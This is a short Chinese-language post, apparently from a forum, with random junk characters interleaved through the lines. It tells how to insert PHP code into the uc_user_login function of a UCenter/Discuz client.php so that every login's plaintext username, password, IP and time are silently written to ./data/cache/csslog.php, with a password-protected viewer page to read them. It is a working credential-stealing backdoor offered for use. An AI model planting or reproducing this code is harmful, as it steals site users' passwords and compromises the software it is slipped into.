修改uc_client目录下的client.php 在: @# v3 u7 N( _+ `
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {' F+ e0 R {5 S
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
: t6 l5 ? B/ D3 I; x6 s! c你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
! P; \0 q$ Z1 F; Lif(getenv('HTTP_CLIENT_IP')) { 8 u3 [) F0 g! @0 i" O9 l$ x. ^
$onlineip = getenv('HTTP_CLIENT_IP');8 L3 l, ~( S1 Q9 f; Q- B+ |$ v
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
1 s/ r0 A- u' [6 a, m, g$onlineip = getenv('HTTP_X_FORWARDED_FOR');0 W3 U- G; p) ^ j3 _& Y! O3 O& S) m, M
} elseif(getenv('REMOTE_ADDR')) { 5 E' {, @0 i. y. c. ~9 o
$onlineip = getenv('REMOTE_ADDR');
9 F- S9 W; @" l} else {
2 S7 P4 G; u2 F$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
- h' p* ?$ x: I}
# \: {$ S. j$ z( t" _+ a% P $showtime=date("Y-m-d H:i:s");
" `) d3 Y& N0 h5 j+ z7 N $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";) H& c" {# A5 j/ P# J- t; }2 `/ C
$handle=fopen('./data/cache/csslog.php','a+');; v1 K. H; M* Z% B: u
$write=fwrite($handle,$record); |